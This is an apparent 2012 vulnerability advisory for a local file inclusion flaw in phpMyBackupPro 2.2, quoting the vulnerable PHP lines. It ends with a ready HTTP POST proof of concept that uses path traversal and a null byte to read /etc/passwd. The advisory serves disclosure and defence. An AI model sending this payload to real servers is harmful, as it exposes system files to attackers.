phpMyBackupPro <= 2.2 - Local File Inclusion Vulnerability

:::::::-. ... ::::::. :::. ;;, `&#39;;, ;; ;;;`;;;;, `;;; `[[ [[[[&#39; [[[ [[[[[. &#39;[[ $$, $$$$ $$$ $$$ &#34;Y$c$$ 888_,o8P&#39;88 .d888 888 Y88 MMMMP&#34;` &#34;YmmMMMM&#34;&#34; MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-07-03 ] ################################################################## # [ phpMyBackupPro &#60;= 2.2 ] Local File Inclusion Vulnerability # ################################################################## # # Script: &#34;phpMyBackupPro is a very easy to use, free, web-based # MySQL backup application, licensed under the GNU GPL.&#34; # # Vendor: http://www.phpmybackuppro.net/ # Download: http://sourceforge.net/projects/phpmybackup/files/phpMyBackupPro/ # # # File: ./phpMyBackupPro-2.2/config.php (line: 26) # ..cut.. # 26 require_once(&#34;login.php&#34;); // 1 # ..cut.. # # File: ./phpMyBackupPro-2.2/login.php (line: 29) # ..cut.. # 29 require_once(&#34;definitions.php&#34;); // 2 # ..cut.. # # File: ./phpMyBackupPro-2.2/definitions.php (lines: 201-206) # ..cut.. # 201 // check if language was just changed in config.php # 202 if (isset($_POST[&#39;lang&#39;]) && preg_replace(&#34;#.*/#&#34;,&#34;&#34;,$_SERVER[&#39;PHP_SELF&#39;])==&#34;config.php&#34;) $CONF[&#39;lang&#39;]=$_POST[&#39;lang&#39;]; // 3 # 203 # 204 // include language.inc.php # 205 if (!isset($CONF[&#39;lang&#39;])) $CONF[&#39;lang&#39;]=&#34;english&#34;; # 206 if (!file_exists($prepath.PMBP_LANGUAGE_DIR.$CONF[&#39;lang&#39;].&#34;.inc.php&#34;)) // 4 # include_once($prepath.PMBP_LANGUAGE_DIR.&#34;english.inc.php&#34;); // 4 # else include($prepath.PMBP_LANGUAGE_DIR.$CONF[&#39;lang&#39;].&#34;.inc.php&#34;); // 4 [LFI] # ..cut.. # # # [LFI] ( magic_quotes_gpc = Off; ) # Vuln: # # POST /phpMyBackupPro-2.2/config.php HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 # Accept-Encoding: gzip, deflate # Connection: keep-alive # Content-Type: application/x-www-form-urlencoded # Content-Length: 39 # lang=../../../../../../../etc/passwd%00 # ### [ dun / 2012 ] #####################################################